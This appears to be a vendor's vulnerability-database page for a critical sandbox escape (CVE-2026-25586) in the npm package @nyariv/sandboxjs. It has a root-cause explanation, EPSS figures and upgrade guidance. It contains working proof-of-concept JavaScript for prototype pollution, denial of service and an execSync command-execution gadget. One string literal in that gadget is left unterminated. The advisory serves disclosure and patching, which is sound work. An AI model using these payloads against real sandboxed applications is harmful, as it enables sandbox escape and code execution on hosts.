Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-jjpw-65fv-8g48

CRITICAL

@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution

Also known asCVE-2026-25586
Published
Feb 5, 2026
Updated
Feb 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk46th percentile+0.60%
0.00%0.38%0.76%1.14%0.0%0.0%0.0%0.0%0.6%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@nyariv/sandboxjsnpm
191Kdownloads / week

Description

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" /> <img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" /> <img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />

RCE via host gadget (prototype pollution -> execSync)

<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@nyariv/sandboxjsall versions0.8.29

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @nyariv/sandboxjs to 0.8.29 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jjpw-65fv-8g48 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jjpw-65fv-8g48 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jjpw-65fv-8g48. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A sandbox escape is possible by shadowing `hasOwnProperty` on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to `__proto__` and other blocked prototype properties, enabling **host `Object.prototype` pollution** and persistent cross-sandbox impact. The issue was reproducible on Node `v23.9.0` using the project’s current build output. The bypass works with default `Sandbox` configuration and does not require custom globals or whitelists. ## Root Cause `prototypeAccess` uses `a.hasOwnProperty(b)` directly, whic
O3 Security · Impact-Aware SCA

Is GHSA-jjpw-65fv-8g48 in your dependencies?

O3 detects GHSA-jjpw-65fv-8g48 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.